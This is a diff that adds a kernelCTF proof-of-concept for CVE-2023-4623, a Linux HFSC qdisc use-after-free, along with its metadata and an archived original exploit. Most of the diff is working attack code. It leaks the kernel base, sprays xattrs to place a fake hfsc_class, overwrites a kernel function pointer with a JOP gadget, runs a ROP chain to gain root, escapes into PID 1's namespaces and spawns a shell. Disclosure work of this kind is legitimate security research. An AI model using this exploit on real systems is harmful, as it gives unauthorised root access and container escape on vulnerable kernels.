+ struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len); + short def = 2; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, 2, &def)); +} + + +void init_rsc_class_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_type = RTM_NEWTCLASS; + m->tm.tcm_parent = 1 << 16; + m->tm.tcm_handle = vuln_class_id; + m->nh.nlmsg_flags |= NLM_F_CREATE; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc")); + struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len); + opts->rta_type = TCA_OPTIONS; + opts->rta_len = RTA_LENGTH(0); + int rsc[3] = {1, 1, 1}; + opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_HFSC_RSC, sizeof(rsc), rsc)); + m->nh.nlmsg_len += NLMSG_ALIGN(opts->rta_len); +} + +void init_fsc_class_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_type = RTM_NEWTCLASS; + m->tm.tcm_parent = vuln_class_id; + m->tm.tcm_handle = def_class_id; + m->nh.nlmsg_flags |= NLM_F_CREATE; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc")); + struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len); + opts->rta_type = TCA_OPTIONS; + opts->rta_len = RTA_LENGTH(0); + int fsc[3] = {1, 1, 1}; + opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_HFSC_FSC, sizeof(fsc), fsc)); + m->nh.nlmsg_len += NLMSG_ALIGN(opts->rta_len); +} + +void init_del_class_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + m->nh.nlmsg_type = RTM_DELTCLASS; + m->tm.tcm_handle = vuln_class_id; +} + +void init_qfq_qdisc_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_type = RTM_NEWQDISC; + m->tm.tcm_parent = 0x00010002; + m->tm.tcm_handle = 2 << 16; + m->nh.nlmsg_flags |= NLM_F_CREATE; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("qfq") + 1, "qfq")); + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, sizeof(jop_buf), jop_buf)); + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, sizeof(rop_buf), rop_buf)); +} + +void init_nl_msgs (void) { + init_qdisc_msg(&newqd_msg); + init_del_class_msg(&delc_msg); + init_rsc_class_msg(&new_rsc_msg); + init_fsc_class_msg(&new_fsc_msg); +} + +/* + * Send a Netlink message and check for error + */ +void netlink_write (int sock, struct tf_msg *m) { + struct { + struct nlmsghdr nh; + struct nlmsgerr ne; + } ack; + if (write(sock, m, m->nh.nlmsg_len) == -1) + err_exit("[-] write"); + if (read(sock , &ack, sizeof(ack)) == -1) + err_exit("[-] read"); + if (ack.ne.error) { + errno = -ack.ne.error; + perror("[-] netlink"); + } +} + +void netlink_write_noerr (int sock, struct tf_msg *m) { + if (write(sock, m, m->nh.nlmsg_len) == -1) + err_exit("[-] write"); +} + +/* + * Allocate simple_xattr objects. + */ +int num_xattr = 0; +char xattr_buf[XATTR_DATA_LEN]; +void spray_simple_xattrs(int num_spray) { + char name[32]; + for (int i = 0; i < num_spray; i++, num_xattr++) { + sprintf(name, "security.%d", num_xattr); + if (fsetxattr(xattr_fd, name, xattr_buf, XATTR_DATA_LEN, 0) == -1) + err_exit("[-] fsetxattr"); + } +} + +/* + * Send a message on the loopback device. Used to trigger qdisc enqueue and + * dequeue functions. + */ +void loopback_send (void) { + struct sockaddr iaddr = { AF_INET }; + int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0); + if (inet_sock_fd == -1) + err_exit("[-] inet socket"); + if (connect(inet_sock_fd, &iaddr, sizeof(iaddr)) == -1) + err_exit("[-] connect"); + if (write(inet_sock_fd, "", 1) == -1) + err_exit("[-] inet write"); + close(inet_sock_fd); +} + +int main (int argc, char **argv) { + long kernel_base; + + pin_cpu(0); + + /* Get kernel base from command line or prefetch side channel */ + if (argc > 1) { + kernel_base = strtoul(argv[1], NULL, 16); + printf("[*] Using provided kernel base: %p\n", kernel_base); + } else { + printf("[*] Using prefetch to leak kernel base...\n"); + getuid(); + kernel_base = kaslr_leak(1000, 1000); + if (kernel_base == -1) { + printf("[*] Prefetch failed\n"); + exit(EXIT_FAILURE); + } + printf("[*] Leaked kernel base: %p\n", kernel_base); + } + + if (unshare(CLONE_NEWUSER) == -1) + err_exit("[-] unshare(CLONE_NEWUSER)"); + if (unshare(CLONE_NEWNET) == -1) + err_exit("[-] unshare(CLONE_NEWNET)"); + + /* Open temporary file to use for xattr spray */ + xattr_fd = open("/tmp/", O_TMPFILE | O_RDWR, 0664); + if (xattr_fd == -1) + err_exit("[-] open"); + + /* Open socket to send netlink commands to */ + int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (nl_sock_fd == -1) + err_exit("[-] nl socket"); + + /* Set loopback device up */ + if_up_msg.ifi.ifi_index = if_nametoindex("lo"); + netlink_write(nl_sock_fd, &if_up_msg); + + init_nl_msgs(); + + /* Trigger vuln */ + netlink_write(nl_sock_fd, &newqd_msg); + netlink_write(nl_sock_fd, &new_rsc_msg); + netlink_write(nl_sock_fd, &new_fsc_msg); + loopback_send(); + delc_msg.tm.tcm_handle = def_class_id; + netlink_write(nl_sock_fd, &delc_msg); + + printf("[*] Triggered vulnerability\n"); + + /* Place fake hfsc_class in xattr */ + + /* hfsc_class.level = 1 (must be non-zero) */ + xattr_buf[LEVEL_OFFSET - XATTR_HEADER_SIZE] = 1; + /* hfsc_class.vt_node = 1 (must be odd) */ + xattr_buf[VT_NODE_OFFSET - XATTR_HEADER_SIZE] = 1; + /* hfsc_class.cf_node = 1 (must be odd) */ + xattr_buf[CF_NODE_OFFSET - XATTR_HEADER_SIZE] = 1; + /* hfsc_class.parent = &qfq_change_qdisc (write target)*/ + long parent = kernel_base + QFQ_CHANGE_QDISC_LOC - CL_CVTMIN_OFFSET; + memcpy(xattr_buf + CL_PARENT_OFFSET - XATTR_HEADER_SIZE, &parent, 8); + /* hfsc_class.cl_vt = jop_gadget (write value) */ + long cl_vt = kernel_base + PUSH_RSI_JMP_QWORD_PTR_RSI_MINUS_0x70; + memcpy(xattr_buf + CL_VT_OFFSET - XATTR_HEADER_SIZE, &cl_vt, 8); + + printf("[*] Spraying simple_xattrs...\n"); + /* Spray simple_xattrs */ + delc_msg.tm.tcm_handle = vuln_class_id; + netlink_write(nl_sock_fd, &delc_msg); + spray_simple_xattrs(XATTR_SPRAY); + + /* Create new default class and trigger enqueue/dequeue to overwrite + * qfq_change_qdisc with jop gadget */ + new_fsc_msg.tm.tcm_parent = 1 << 16; + netlink_write(nl_sock_fd, &new_fsc_msg); + + printf("[*] Overwriting function pointer\n"); + loopback_send(); + + /* Prepare ROP chain at an offset of 4 bytes. With the 4-byte rtattr + header it will be at an 8-byte offset from rsi, allowing it to be reached + with `push rsi ; pop rsp ; pop rbx` for the stack pivot */ + init_rop(rop_buf + 4, jop_buf, kernel_base); + + /* Create QFQ qdisc */ + init_qfq_qdisc_msg(&new_qfq_qdisc); + netlink_write_noerr(nl_sock_fd, &new_qfq_qdisc); + + /* Call overwritten function pointer */ + printf("[*] Triggering ROP chain\n"); + netlink_write_noerr(nl_sock_fd, &new_qfq_qdisc); + + if (getuid()) { + printf("[-] Privesc failed\n"); + exit(EXIT_FAILURE); + } + + printf("[+] Returned from ROP\n"); + + int mntns_fd = open("/proc/1/ns/mnt", O_RDONLY); + if (mntns_fd == -1) + perror("[-] open(/proc/1/ns/mnt)"); + + int netns_fd = open("/proc/1/ns/net", O_RDONLY); + if (netns_fd == -1) + perror("[-] open(/proc/1/ns/net)"); + + int pidns_fd = open("/proc/1/ns/pid", O_RDONLY); + if (pidns_fd == -1) + perror("[-] open(/proc/1/ns/pid)"); + + if (setns(mntns_fd, CLONE_NEWNS) == -1) + perror("[-] setns mnt"); + if (setns(netns_fd, CLONE_NEWNET) == -1) + perror("[-] setns net"); + if (setns(pidns_fd, CLONE_NEWPID) == -1) + perror("[-] setns pid"); + + printf("[*] Launching shell\n"); + system("/bin/sh"); +} diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/metadata.json new file mode 100644 index 00000000..b050b20a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/metadata.json @@ -0,0 +1,41 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp93", + "exp98" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b3d26c5702c7d6c45456326e56d2ccf3f103e60f", + "cve": "CVE-2023-4623", + "affected_versions": [ + "2.6.3 - 6.5.2" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN" + ], + "kernel_config": [ + "CONFIG_NET_SCH_HFSC" + ] + } + }, + "exploits": { + "lts-6.1.36": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "succeeded on 10/10 tries against target instance (with kaslr leak update)" + }, + "cos-97-16919.353.23": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "succeeded on 10/10 tries against target instance (with kaslr leak update)" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/original_exp93.tar.gz b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/original_exp93.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..59770fcf43b72bde7ca01aedea6a6717824e4462 GIT binary patch literal 10739 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 